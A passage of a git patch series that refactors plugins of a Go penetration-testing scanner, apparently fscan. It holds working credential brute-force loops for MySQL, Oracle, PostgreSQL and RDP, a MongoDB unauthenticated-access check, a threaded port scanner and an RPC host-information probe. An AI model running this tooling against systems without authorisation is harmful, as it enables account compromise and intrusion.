0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00, } - - realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - - checkUnAuth := func(address string, packet []byte) (string, error) { - conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) - if err != nil { - return "", err - } - defer conn.Close() - err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) - if err != nil { - return "", err - } - _, err = conn.Write(packet) - if err != nil { - return "", err - } - reply := make([]byte, 1024) - count, err := conn.Read(reply) - if err != nil { - return "", err - } - return string(reply[0:count]), nil - } - - // send OP_MSG first - reply, err := checkUnAuth(realhost, packet1) - if err != nil { - reply, err = checkUnAuth(realhost, packet2) - if err != nil { - return flag, err - } - } - if strings.Contains(reply, "totalLinesWritten") { - flag = true - result := fmt.Sprintf("[+] Mongodb %v unauthorized", realhost) - Common.LogSuccess(result) - } - return flag, err } From 5cc66872482de9226dcffc592a28639c5166f655 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:40:19 +0800 Subject: [PATCH 26/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96MySQL.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/MySQL.go | 80 +++++++++++++++++++++++++++++++----------------- 1 file changed, 52 insertions(+), 28 deletions(-) diff --git a/Plugins/MySQL.go b/Plugins/MySQL.go index 8a193d4..fe07486 100644 --- a/Plugins/MySQL.go +++ b/Plugins/MySQL.go @@ -10,49 +10,73 @@ import ( "time" ) +// MysqlScan 执行MySQL服务扫描 func MysqlScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + starttime := time.Now().Unix() + + // 尝试用户名密码组合 for _, user := range Common.Userdict["mysql"] { for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + flag, err := MysqlConn(info, user, pass) - if flag == true && err == nil { + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mysql"])*len(Common.Passwords)) * Common.Timeout) { return err - } else { - errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) - tmperr = err - if Common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mysql"])*len(Common.Passwords)) * Common.Timeout) { - return err - } } } } return tmperr } -func MysqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(Common.Timeout)*time.Second) - db, err := sql.Open("mysql", dataSourceName) - if err == nil { - db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(Common.Timeout) * time.Second) - db.SetMaxIdleConns(0) - defer db.Close() - err = db.Ping() - if err == nil { - result := fmt.Sprintf("[+] mysql %v:%v:%v %v", Host, Port, Username, Password) - Common.LogSuccess(result) - flag = true - } +// MysqlConn 尝试MySQL连接 +func MysqlConn(info *Config.HostInfo, user string, pass string) (bool, error) { + host, port, username, password := info.Host, info.Ports, user, pass + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造连接字符串 + connStr := fmt.Sprintf( + "%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", + username, password, host, port, timeout, + ) + + // 建立数据库连接 + db, err := sql.Open("mysql", connStr) + if err != nil { + return false, err } - return flag, err + defer db.Close() + + // 设置连接参数 + db.SetConnMaxLifetime(timeout) + db.SetConnMaxIdleTime(timeout) + db.SetMaxIdleConns(0) + + // 测试连接 + if err = db.Ping(); err != nil { + return false, err + } + + // 连接成功 + result := fmt.Sprintf("[+] MySQL %v:%v:%v %v", host, port, username, password) + Common.LogSuccess(result) + return true, nil } From 79343b1722fd2b37fb544188a772ac74e25ed26c Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:40:26 +0800 Subject: [PATCH 27/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Oracle.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Oracle.go | 78 ++++++++++++++++++++++++++++++----------------- 1 file changed, 50 insertions(+), 28 deletions(-) diff --git a/Plugins/Oracle.go b/Plugins/Oracle.go index e956f26..8a4cf7f 100644 --- a/Plugins/Oracle.go +++ b/Plugins/Oracle.go @@ -10,49 +10,71 @@ import ( "time" ) +// OracleScan 执行Oracle服务扫描 func OracleScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + starttime := time.Now().Unix() + + // 尝试用户名密码组合 for _, user := range Common.Userdict["oracle"] { for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + flag, err := OracleConn(info, user, pass) - if flag == true && err == nil { + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["oracle"])*len(Common.Passwords)) * Common.Timeout) { return err - } else { - errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) - tmperr = err - if Common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["oracle"])*len(Common.Passwords)) * Common.Timeout) { - return err - } } } } return tmperr } -func OracleConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port) - db, err := sql.Open("oracle", dataSourceName) - if err == nil { - db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(Common.Timeout) * time.Second) - db.SetMaxIdleConns(0) - defer db.Close() - err = db.Ping() - if err == nil { - result := fmt.Sprintf("[+] oracle %v:%v:%v %v", Host, Port, Username, Password) - Common.LogSuccess(result) - flag = true - } +// OracleConn 尝试Oracle连接 +func OracleConn(info *Config.HostInfo, user string, pass string) (bool, error) { + host, port, username, password := info.Host, info.Ports, user, pass + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造连接字符串 + connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", + username, password, host, port) + + // 建立数据库连接 + db, err := sql.Open("oracle", connStr) + if err != nil { + return false, err } - return flag, err + defer db.Close() + + // 设置连接参数 + db.SetConnMaxLifetime(timeout) + db.SetConnMaxIdleTime(timeout) + db.SetMaxIdleConns(0) + + // 测试连接 + if err = db.Ping(); err != nil { + return false, err + } + + // 连接成功 + result := fmt.Sprintf("[+] Oracle %v:%v:%v %v", host, port, username, password) + Common.LogSuccess(result) + return true, nil } From cd6809e775a3b48ca99303e1f0823f20bc090ebf Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:40:35 +0800 Subject: [PATCH 28/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96PortScan.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/PortScan.go | 144 +++++++++++++++++++++++++------------------- 1 file changed, 81 insertions(+), 63 deletions(-) diff --git a/Plugins/PortScan.go b/Plugins/PortScan.go index c91c3a4..a55c9be 100644 --- a/Plugins/PortScan.go +++ b/Plugins/PortScan.go @@ -4,115 +4,133 @@ import ( "fmt" "github.com/shadow1ng/fscan/Common" "sort" - "strconv" "sync" "time" ) +// Addr 表示待扫描的地址 type Addr struct { - ip string - port int + ip string // IP地址 + port int // 端口号 } +// PortScan 执行端口扫描 func PortScan(hostslist []string, ports string, timeout int64) []string { var AliveAddress []string + + // 解析端口列表 probePorts := Common.ParsePort(ports) if len(probePorts) == 0 { - fmt.Printf("[-] parse port %s error, please check your port format\n", ports) + fmt.Printf("[-] 端口格式错误: %s, 请检查端口格式\n", ports) return AliveAddress } - noPorts := Common.ParsePort(Common.NoPorts) - if len(noPorts) > 0 { - temp := map[int]struct{}{} - for _, port := range probePorts { - temp[port] = struct{}{} - } - for _, port := range noPorts { - delete(temp, port) - } + // 排除指定端口 + probePorts = excludeNoPorts(probePorts) - var newDatas []int - for port := range temp { - newDatas = append(newDatas, port) - } - probePorts = newDatas - sort.Ints(probePorts) - } + // 创建通道 workers := Common.Threads - Addrs := make(chan Addr, 100) + addrs := make(chan Addr, 100) results := make(chan string, 100) var wg sync.WaitGroup - //接收结果 - go func() { - for found := range results { - AliveAddress = append(AliveAddress, found) - wg.Done() - } - }() + // 接收扫描结果 + go collectResults(&AliveAddress, results, &wg) - //多线程扫描 + // 启动扫描协程 for i := 0; i < workers; i++ { go func() { - for addr := range Addrs { + for addr := range addrs { PortConnect(addr, results, timeout, &wg) wg.Done() } }() } - //添加扫描目标 + // 添加扫描目标 for _, port := range probePorts { for _, host := range hostslist { wg.Add(1) - Addrs <- Addr{host, port} + addrs <- Addr{host, port} } } + wg.Wait() - close(Addrs) + close(addrs) close(results) return AliveAddress } -func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) { - host, port := addr.ip, addr.port - conn, err := Common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second) - if err == nil { - defer conn.Close() - address := host + ":" + strconv.Itoa(port) - result := fmt.Sprintf("%s open", address) - Common.LogSuccess(result) - wg.Add(1) - respondingHosts <- address +// collectResults 收集扫描结果 +func collectResults(aliveAddrs *[]string, results <-chan string, wg *sync.WaitGroup) { + for found := range results { + *aliveAddrs = append(*aliveAddrs, found) + wg.Done() } } -func NoPortScan(hostslist []string, ports string) (AliveAddress []string) { - probePorts := Common.ParsePort(ports) - noPorts := Common.ParsePort(Common.NoPorts) - if len(noPorts) > 0 { - temp := map[int]struct{}{} - for _, port := range probePorts { - temp[port] = struct{}{} - } +// PortConnect 尝试连接指定端口 +func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sync.WaitGroup) { + // 建立TCP连接 + conn, err := Common.WrapperTcpWithTimeout("tcp4", + fmt.Sprintf("%s:%v", addr.ip, addr.port), + time.Duration(timeout)*time.Second) - for _, port := range noPorts { - delete(temp, port) - } - - var newDatas []int - for port, _ := range temp { - newDatas = append(newDatas, port) - } - probePorts = newDatas - sort.Ints(probePorts) + if err != nil { + return } + defer conn.Close() + + // 记录开放端口 + address := fmt.Sprintf("%s:%d", addr.ip, addr.port) + result := fmt.Sprintf("[+] 端口开放 %s", address) + Common.LogSuccess(result) + + wg.Add(1) + respondingHosts <- address +} + +// NoPortScan 生成端口列表(不进行扫描) +func NoPortScan(hostslist []string, ports string) []string { + var AliveAddress []string + + // 解析并排除端口 + probePorts := excludeNoPorts(Common.ParsePort(ports)) + + // 生成地址列表 for _, port := range probePorts { for _, host := range hostslist { - address := host + ":" + strconv.Itoa(port) + address := fmt.Sprintf("%s:%d", host, port) AliveAddress = append(AliveAddress, address) } } - return + + return AliveAddress +} + +// excludeNoPorts 排除指定的端口 +func excludeNoPorts(ports []int) []int { + noPorts := Common.ParsePort(Common.NoPorts) + if len(noPorts) == 0 { + return ports + } + + // 使用map过滤端口 + temp := make(map[int]struct{}) + for _, port := range ports { + temp[port] = struct{}{} + } + + for _, port := range noPorts { + delete(temp, port) + } + + // 转换为切片并排序 + var newPorts []int + for port := range temp { + newPorts = append(newPorts, port) + } + sort.Ints(newPorts) + + return newPorts } From 352cbd44bee0144721fe3c17eaad9b6e7af86e8a Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:40:41 +0800 Subject: [PATCH 29/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Postgre.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Postgres.go | 78 +++++++++++++++++++++++++++++---------------- 1 file changed, 51 insertions(+), 27 deletions(-) diff --git a/Plugins/Postgres.go b/Plugins/Postgres.go index c6e51e7..96081ca 100644 --- a/Plugins/Postgres.go +++ b/Plugins/Postgres.go @@ -10,47 +10,71 @@ import ( "time" ) +// PostgresScan 执行PostgreSQL服务扫描 func PostgresScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + starttime := time.Now().Unix() + + // 尝试用户名密码组合 for _, user := range Common.Userdict["postgresql"] { for _, pass := range Common.Passwords { - pass = strings.Replace(pass, "{user}", string(user), -1) + // 替换密码中的用户名占位符 + pass = strings.Replace(pass, "{user}", user, -1) + flag, err := PostgresConn(info, user, pass) - if flag == true && err == nil { + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["postgresql"])*len(Common.Passwords)) * Common.Timeout) { return err - } else { - errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) - tmperr = err - if Common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["postgresql"])*len(Common.Passwords)) * Common.Timeout) { - return err - } } } } return tmperr } -func PostgresConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable") - db, err := sql.Open("postgres", dataSourceName) - if err == nil { - db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second) - defer db.Close() - err = db.Ping() - if err == nil { - result := fmt.Sprintf("[+] Postgres:%v:%v:%v %v", Host, Port, Username, Password) - Common.LogSuccess(result) - flag = true - } +// PostgresConn 尝试PostgreSQL连接 +func PostgresConn(info *Config.HostInfo, user string, pass string) (bool, error) { + host, port, username, password := info.Host, info.Ports, user, pass + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造连接字符串 + connStr := fmt.Sprintf( + "postgres://%v:%v@%v:%v/postgres?sslmode=disable", + username, password, host, port, + ) + + // 建立数据库连接 + db, err := sql.Open("postgres", connStr) + if err != nil { + return false, err } - return flag, err + defer db.Close() + + // 设置连接参数 + db.SetConnMaxLifetime(timeout) + + // 测试连接 + if err = db.Ping(); err != nil { + return false, err + } + + // 连接成功 + result := fmt.Sprintf("[+] PostgreSQL %v:%v:%v %v", host, port, username, password) + Common.LogSuccess(result) + return true, nil } From 0349952dd112c4a4c15d521a75dfc477bfd08d28 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:40:47 +0800 Subject: [PATCH 30/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96RDP.go=E7=9A=84?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8=E9=87=8A?= =?UTF-8?q?=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/RDP.go | 151 +++++++++++++++++++++++++++++++++---------------- 1 file changed, 101 insertions(+), 50 deletions(-) diff --git a/Plugins/RDP.go b/Plugins/RDP.go index 4e80e1f..2bf9025 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -15,6 +15,7 @@ import ( "github.com/tomatome/grdp/protocol/tpkt" "github.com/tomatome/grdp/protocol/x224" "log" + "net" "os" "strconv" "strings" @@ -22,29 +23,37 @@ import ( "time" ) +// Brutelist 表示暴力破解的用户名密码组合 type Brutelist struct { user string pass string } +// RdpScan 执行RDP服务扫描 func RdpScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } - var wg sync.WaitGroup - var signal bool - var num = 0 - var all = len(Common.Userdict["rdp"]) * len(Common.Passwords) - var mutex sync.Mutex + var ( + wg sync.WaitGroup + signal bool + num = 0 + all = len(Common.Userdict["rdp"]) * len(Common.Passwords) + mutex sync.Mutex + ) + + // 创建任务通道 brlist := make(chan Brutelist) port, _ := strconv.Atoi(info.Ports) + // 启动工作协程 for i := 0; i < Common.BruteThread; i++ { wg.Add(1) go worker(info.Host, Common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, Common.Timeout) } + // 分发扫描任务 for _, user := range Common.Userdict["rdp"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) @@ -52,6 +61,8 @@ func RdpScan(info *Config.HostInfo) (tmperr error) { } } close(brlist) + + // 等待所有任务完成 go func() { wg.Wait() signal = true @@ -62,16 +73,22 @@ func RdpScan(info *Config.HostInfo) (tmperr error) { return tmperr } -func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) { +// worker RDP扫描工作协程 +func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, + signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) { defer wg.Done() + for one := range brlist { - if *signal == true { + if *signal { return } go incrNum(num, mutex) + user, pass := one.user, one.pass flag, err := RdpConn(host, domain, user, pass, port, timeout) - if flag == true && err == nil { + + if flag && err == nil { + // 连接成功 var result string if domain != "" { result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass) @@ -81,113 +98,147 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute Common.LogSuccess(result) *signal = true return - } else { - errlog := fmt.Sprintf("[-] (%v/%v) rdp %v:%v %v %v %v", *num, all, host, port, user, pass, err) - Common.LogError(errlog) } + + // 连接失败 + errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err) + Common.LogError(errlog) } } +// incrNum 线程安全地增加计数器 func incrNum(num *int, mutex *sync.Mutex) { mutex.Lock() - *num = *num + 1 + *num++ mutex.Unlock() } +// RdpConn 尝试RDP连接 func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) { target := fmt.Sprintf("%s:%d", ip, port) - g := NewClient(target, glog.NONE) - err := g.Login(domain, user, password, timeout) - if err == nil { - return true, nil + // 创建RDP客户端 + client := NewClient(target, glog.NONE) + if err := client.Login(domain, user, password, timeout); err != nil { + return false, err } - return false, err + return true, nil } +// Client RDP客户端结构 type Client struct { - Host string // ip:port - tpkt *tpkt.TPKT - x224 *x224.X224 - mcs *t125.MCSClient - sec *sec.Client - pdu *pdu.Client - vnc *rfb.RFB + Host string // 服务地址(ip:port) + tpkt *tpkt.TPKT // TPKT协议层 + x224 *x224.X224 // X224协议层 + mcs *t125.MCSClient // MCS协议层 + sec *sec.Client // 安全层 + pdu *pdu.Client // PDU协议层 + vnc *rfb.RFB // VNC协议(可选) } +// NewClient 创建新的RDP客户端 func NewClient(host string, logLevel glog.LEVEL) *Client { + // 配置日志 glog.SetLevel(logLevel) logger := log.New(os.Stdout, "", 0) glog.SetLogger(logger) + return &Client{ Host: host, } } +// Login 执行RDP登录 func (g *Client) Login(domain, user, pwd string, timeout int64) error { + // 建立TCP连接 conn, err := Common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second) if err != nil { - return fmt.Errorf("[dial err] %v", err) + return fmt.Errorf("[连接错误] %v", err) } defer conn.Close() glog.Info(conn.LocalAddr().String()) + // 初始化协议栈 + g.initProtocolStack(conn, domain, user, pwd) + + // 建立X224连接 + if err = g.x224.Connect(); err != nil { + return fmt.Errorf("[X224连接错误] %v", err) + } + glog.Info("等待连接建立...") + + // 等待连接完成 + wg := &sync.WaitGroup{} + breakFlag := false + wg.Add(1) + + // 设置事件处理器 + g.setupEventHandlers(wg, &breakFlag, &err) + + wg.Wait() + return err +} + +// initProtocolStack 初始化RDP协议栈 +func (g *Client) initProtocolStack(conn net.Conn, domain, user, pwd string) { + // 创建协议层实例 g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd)) g.x224 = x224.New(g.tpkt) g.mcs = t125.NewMCSClient(g.x224) g.sec = sec.NewClient(g.mcs) g.pdu = pdu.NewClient(g.sec) + // 设置认证信息 g.sec.SetUser(user) g.sec.SetPwd(pwd) g.sec.SetDomain(domain) - //g.sec.SetClientAutoReconnect() + // 配置协议层关联 g.tpkt.SetFastPathListener(g.sec) g.sec.SetFastPathListener(g.pdu) g.pdu.SetFastPathSender(g.tpkt) +} - //g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL) - //g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP) - - err = g.x224.Connect() - if err != nil { - return fmt.Errorf("[x224 connect err] %v", err) - } - glog.Info("wait connect ok") - wg := &sync.WaitGroup{} - breakFlag := false - wg.Add(1) - +// setupEventHandlers 设置PDU事件处理器 +func (g *Client) setupEventHandlers(wg *sync.WaitGroup, breakFlag *bool, err *error) { + // 错误处理 g.pdu.On("error", func(e error) { - err = e - glog.Error("error", e) + *err = e + glog.Error("错误:", e) g.pdu.Emit("done") }) + + // 连接关闭 g.pdu.On("close", func() { - err = errors.New("close") - glog.Info("on close") + *err = errors.New("连接关闭") + glog.Info("连接已关闭") g.pdu.Emit("done") }) + + // 连接成功 g.pdu.On("success", func() { - err = nil - glog.Info("on success") + *err = nil + glog.Info("连接成功") g.pdu.Emit("done") }) + + // 连接就绪 g.pdu.On("ready", func() { - glog.Info("on ready") + glog.Info("连接就绪") g.pdu.Emit("done") }) + + // 屏幕更新 g.pdu.On("update", func(rectangles []pdu.BitmapData) { - glog.Info("on update:", rectangles) + glog.Info("屏幕更新:", rectangles) }) + + // 完成处理 g.pdu.On("done", func() { - if breakFlag == false { - breakFlag = true + if !*breakFlag { + *breakFlag = true wg.Done() } }) - wg.Wait() - return err } From 728f6c78b59ac5e010b49b5bb4e889ded2424251 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:41:01 +0800 Subject: [PATCH 31/80] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D=E4=B8=80?= =?UTF-8?q?=E4=B8=AA=E5=91=BD=E5=90=8DBug?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- WebScan/lib/Client.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WebScan/lib/Client.go b/WebScan/lib/Client.go index 66b48ad..1337ea9 100644 --- a/WebScan/lib/Client.go +++ b/WebScan/lib/Client.go @@ -57,7 +57,7 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err } if Common.Socks5Proxy != "" { - dialSocksProxy, err := Common.Socks5Dailer(dialer) + dialSocksProxy, err := Common.Socks5Dialer(dialer) if err != nil { return err } From 88d3fe489d4dc594275480d36e9f8057bc427bdb Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:08:53 +0800 Subject: [PATCH 32/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Base.go?= =?UTF-8?q?=E8=BE=93=E5=87=BA=E6=A0=BC=E5=BC=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Base.go | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/Plugins/Base.go b/Plugins/Base.go index 20fa91a..be38f12 100644 --- a/Plugins/Base.go +++ b/Plugins/Base.go @@ -53,7 +53,7 @@ func AesEncrypt(orig string, key string) (string, error) { // 创建加密块,要求密钥长度必须为16/24/32字节 block, err := aes.NewCipher(keyBytes) if err != nil { - return "", fmt.Errorf("创建加密块失败: %v", err) + return "", fmt.Errorf("[-] 创建加密块失败: %v", err) } // 获取块大小并填充数据 @@ -76,7 +76,7 @@ func AesDecrypt(crypted string, key string) (string, error) { // base64解码 cryptedBytes, err := base64.StdEncoding.DecodeString(crypted) if err != nil { - return "", fmt.Errorf("base64解码失败: %v", err) + return "", fmt.Errorf("[-] base64解码失败: %v", err) } keyBytes := []byte(key) @@ -84,7 +84,7 @@ func AesDecrypt(crypted string, key string) (string, error) { // 创建解密块 block, err := aes.NewCipher(keyBytes) if err != nil { - return "", fmt.Errorf("创建解密块失败: %v", err) + return "", fmt.Errorf("[-] 创建解密块失败: %v", err) } // 创建CBC解密模式 @@ -98,7 +98,7 @@ func AesDecrypt(crypted string, key string) (string, error) { // 去除填充 origData, err = PKCS7UnPadding(origData) if err != nil { - return "", fmt.Errorf("去除PKCS7填充失败: %v", err) + return "", fmt.Errorf("[-] 去除PKCS7填充失败: %v", err) } return string(origData), nil @@ -115,12 +115,12 @@ func PKCS7Padding(data []byte, blockSize int) []byte { func PKCS7UnPadding(data []byte) ([]byte, error) { length := len(data) if length == 0 { - return nil, errors.New("数据长度为0") + return nil, errors.New("[-] 数据长度为0") } padding := int(data[length-1]) if padding > length { - return nil, errors.New("填充长度无效") + return nil, errors.New("[-] 填充长度无效") } return data[:length-padding], nil From 468447861c4956344a718b4a3f85649d4332a565 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:09:04 +0800 Subject: [PATCH 33/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96FindNet.go?= =?UTF-8?q?=E8=BE=93=E5=87=BA=E6=A0=BC=E5=BC=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/FindNet.go | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/Plugins/FindNet.go b/Plugins/FindNet.go index bc58c84..b395f12 100644 --- a/Plugins/FindNet.go +++ b/Plugins/FindNet.go @@ -29,35 +29,35 @@ func FindnetScan(info *Config.HostInfo) error { target := fmt.Sprintf("%s:%v", info.Host, 135) conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second) if err != nil { - return fmt.Errorf("连接RPC端口失败: %v", err) + return fmt.Errorf("[-] 连接RPC端口失败: %v", err) } defer conn.Close() // 设置连接超时 if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { - return fmt.Errorf("设置超时失败: %v", err) + return fmt.Errorf("[-] 设置超时失败: %v", err) } // 发送第一个RPC请求 if _, err = conn.Write(bufferV1); err != nil { - return fmt.Errorf("发送RPC请求1失败: %v", err) + return fmt.Errorf("[-] 发送RPC请求1失败: %v", err) } // 读取响应 reply := make([]byte, 4096) if _, err = conn.Read(reply); err != nil { - return fmt.Errorf("读取RPC响应1失败: %v", err) + return fmt.Errorf("[-] 读取RPC响应1失败: %v", err) } // 发送第二个RPC请求 if _, err = conn.Write(bufferV2); err != nil { - return fmt.Errorf("发送RPC请求2失败: %v", err) + return fmt.Errorf("[-] 发送RPC请求2失败: %v", err) } // 读取并检查响应 n, err := conn.Read(reply) if err != nil || n < 42 { - return fmt.Errorf("读取RPC响应2失败: %v", err) + return fmt.Errorf("[-] 读取RPC响应2失败: %v", err) } // 解析响应数据 @@ -72,7 +72,7 @@ func FindnetScan(info *Config.HostInfo) error { } if !found { - return fmt.Errorf("未找到有效的响应标记") + return fmt.Errorf("[-] 未找到有效的响应标记") } // 解析主机信息 @@ -151,7 +151,7 @@ func read(text []byte, host string) error { // 解码主机信息 hostInfo, err := hex.DecodeString(h) if err != nil { - return fmt.Errorf("解码主机信息失败: %v", err) + return fmt.Errorf("[-] 解码主机信息失败: %v", err) } result += fmt.Sprintf("\n [->] %s", string(hostInfo)) } From 